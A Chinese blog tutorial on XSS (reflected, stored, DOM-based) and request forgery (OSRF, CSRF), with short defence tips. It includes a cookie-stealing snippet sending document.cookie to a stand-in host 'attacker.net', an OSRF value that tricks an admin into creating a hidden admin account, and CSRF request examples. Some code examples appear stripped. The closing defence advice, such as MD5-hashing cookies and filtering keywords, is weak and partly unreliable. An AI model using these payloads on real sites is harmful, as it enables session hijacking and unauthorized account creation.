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XSS 和 CSRF 兩種跨站攻擊

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摘要:請求偽造在跨站攻擊中,攻擊者需要獲得受害者的會話令牌,請求偽造也與會話劫持相關,但是攻擊者不需要知道受害者的會話令牌,就能夠行駛受害者的權利。

差不多剛開始接觸前端的時候,經常能看到一些早幾年入行大牛們的簡歷,幾乎所有人都會在簡歷中帶上這么一句話:具備基本的 Web 安全知識(XSS / CSRF)。顯然這已經成為前端人員的必備知識。

非常懷念那個 SQL 注入還沒有被普遍認可的年代,雖然這么多年過去了,SQL 注入并沒有消失,仍然是最危險的漏洞。關于 SQL 注入的原理,可以看我之前寫的文章SQL 注入詳解。今天是主題是 Web 安全的另外兩大殺手,XSS 和 CSRF。

XSS 的分類

XSS 漏洞有多種形式,分為三類,反射型、保存型和基于 DOM 的 XSS 攻擊。這些漏洞的基本原理都是一樣的,但是確定和利用漏洞方面又存在很大的差異,下面將對這三種漏洞詳細介紹。

反射型 XSS 漏洞

前面廢話一大堆,還是沒有說 XSS 漏洞到底是什么。如果一個 Web 程序可以動態的顯示用戶的錯誤消息,就有可能會產生反射型漏洞。

用戶瀏覽網頁時發送錯誤,向服務器請求 URL,比如www.xxx.com/error.php?message=sorry,an error occurred,然后服務器根據得到的 message,不進行過濾,復制到錯誤頁面的模板中:

sorry,an error occurred

,返回給用戶。

這個漏洞有一個顯著的特征,應用程序沒有進行任何過濾或凈化措施,就非常容易受到攻擊。www.xxx.com/error.php?message=,當用戶打開錯誤頁面時,就會出現

,彈出一個消息框。

顯然,攻擊人員不會很傻的僅僅 alert 一些消息,在 IE 中,如果開啟跨站點腳本檢測可能無法彈出消息。通常 XSS 都會伴隨著會話劫持,攻擊者截獲通過驗證的用戶的會話令牌。劫持用戶的會話后,攻擊者就可以訪問該用戶授權訪問的所有數據和功能。

比如攻擊者構造一個這樣的 URL,message 信息如下

var i = new Image;
i.src="http://attacker.net/"+document.cookie;

這樣被攻擊者通過訪問這個惡意的 URL,就會把 cookie 發送給黑客,黑客截獲 cookie,就能執行用戶的任意操縱。下圖是一個簡易的流程圖:

這個圖還有一個重要的點沒有標明出來,就是前提是受害者要先登錄到 Bank.com 的網站上。

由于瀏覽器的同源策略,直接向 attacker.net 發送 document.cookie 是無法獲得 www.xxx.com 的 cookie,因為瀏覽器會對不同源(域)的內容進行隔離,這就是該漏洞被稱為跨站腳本的原因。

保存型 XSS 漏洞

保存型跨站腳本也是比較常見的漏洞,腳本通常保存在后端數據庫中,不經過濾就存儲并且顯示給用戶,此時就會出現這種漏洞。

與反射型的流程不同的是,保存型需要向服務器提出至少兩次請求,第一次將含有惡意代碼的數據提交給服務器,服務器將數據保存,第二次是受害者想服務器提出訪問含有惡意代碼數據的頁面,惡意代碼執行。

與反射型不同的是,保存型不需要一個專門設計的 URL 來接收 cookie,只需要將含有惡意代碼的頁面發給用戶,等待受害者訪問即可。不過,也可用保存型的漏洞來獲取用戶 cookie 進行劫持。

還有一個不同點,反射型的漏洞,必須要等受害者登陸后,才能保證 cookie 的正常獲得,而保存型的漏洞,受害者一般是先登錄,然后訪問改站點有危險的頁面。

舉一個例子,比如某社交論壇存在保存型的 XSS 漏洞,黑客將自己的個人信息一欄修改成惡意的 JS 代碼,改代碼實現兩個功能,首先受害者加自己為好友,其次修改受害者的個人信息為該惡意代碼。黑客把個人信息保存并提交給服務器,只需要等受害者訪問自己的個人信息頁面,瀏覽器就會執行該惡意腳本,于是可怕的“蠕蟲”就開始了。

基于 DOM 的 XSS 漏洞

前兩種 XSS 漏洞,都表現一種特殊的模式,就是應用程序提取數據并返回給受害者,而基于 DOM 的 XSS 不具有這種特點,攻擊者是借助于 JavaScript 來展開攻擊的。

用戶請求一個經過專門設計的 URL,由攻擊者提交,包括嵌入式的 JavaScript;

服務器的響應不包含任何攻擊者的腳本,同時服務器也不會對 URL 進行檢測;

當用戶瀏覽這個響應時,腳本得以處理。

與反射型漏洞類似,都是對 URL 進行特殊構造,不同的是,反射型是由服務器處理 URL,而 DOM 型是由 JavaScript 腳本來處理。還以剛才那個反射型為例子,假設應用程序返回的錯誤頁面包含以下 JS 腳本:

同樣給受害者發送這樣的鏈接 www.xxx.com/error.php?message=,也可以開展 XSS 漏洞攻擊。基于 DOM 的漏洞不局限與 URL,還可以是頁面某個 DOM 的內容,這和存儲型的 XSS 又聯系到一起。

這個時候就需要些 JS 的同學小心謹慎了,萬一寫出含有漏洞的代碼,這鍋得自己背。

請求偽造

在 XSS 跨站攻擊中,攻擊者需要獲得受害者的會話令牌,請求偽造也與會話劫持相關,但是攻擊者不需要知道受害者的會話令牌,就能夠行駛“受害者”的權利。請求偽造有兩種,本站點請求偽造(OSRF)和跨站點請求偽造(CSRF),

OSRF

OSRF 是一種利用保存型 XSS 漏洞的攻擊載荷,如果在得知應用程序對 XSS 漏洞過濾的情況下,可以嘗試 OSRF 攻擊。

比如這是一個某站點 POST 請求,該站點過濾 XSS 攻擊,

POST /submit.php
Host: xxx.com
Content-Length: ..

type=question&name=ge&message=mes

然后該信息將會被插入到如下的 HTML 中:


  
  ge
  mes

這個漏洞很容易利用,直接用 type 的值來表示 jpg 的name,然后我們構造 type 的值等于下面的內容(這不就是利用路徑來搞事嗎),

../admin/newuser.php?username=test&password=123&role=admin#

使用上面的介紹,相對應的構造一個表單提交,創建一個管理員權限的用戶,普通用戶點擊是不會成功的,因為權限不夠,但是如果是管理員點擊該鏈接的話,就會創建一個秘密賬戶,所以,即時對 URL 禁用了 JavaScript 腳本,還是可以通過 OSRF 攻擊成功。

在攻擊字符串的最后使用了 # ,是為了對 .jpg 進行屏蔽,也可以添加 & 組成另一個參數。

以上便是一個簡單的本站點請求偽造的例子。

CSRF

跨站點請求偽造才是跨站偽造的重點內容,攻擊者只需要創建一個看似無害的網站,致使受害者的瀏覽器直接向易受攻擊的服務器提交一個請求,執行惡意代碼。

仍然需要考慮同源策略,仍然以管理員創建新用戶為例,

POST /newUser.php HTTP/1.1
Host: xxx.com
Cookie: SessionId=...
Content-Length: ..

name=ro&userrole=admin&password=123456&confirmpassword=123456

黑客構造的網站會提交一個 form 表單,并想辦法讓 form 隱藏:

<

  

當管理員已經登陸的情況下,訪問這個惡意網站的時候,就會提交這段腳本,管理員都不知情。因為管理員已經登陸,無需考慮 Cookie 的問題,一個簡單的 CSRF 如此。

總結

其實攻擊很簡單,主要的還是如何防御,比如

對一些關鍵字和特殊字符進行過濾或 URL、HTML 編碼,"<>?"或"script,javascript";

Cookie 防盜,在 Cookie 中防止放入用戶名和密碼,對 Cookie 信息進行 MD5 等算法進行多次散列存放,必要時還要對 ip 和 cookie 進行綁定,一旦檢測異常,立馬讓用戶重新登錄;

嚴格控制 URL 訪問,對于一些掛馬的 ip 和域名,強制無法訪問;

等等

共勉。

參考

跨站腳本攻擊介紹
那些年我們一起學 XSS
總結 XSS 與 CSRF 兩種跨站攻擊
書籍:《黑客攻防技術寶典 Web實戰篇》

歡迎來我博客交流。

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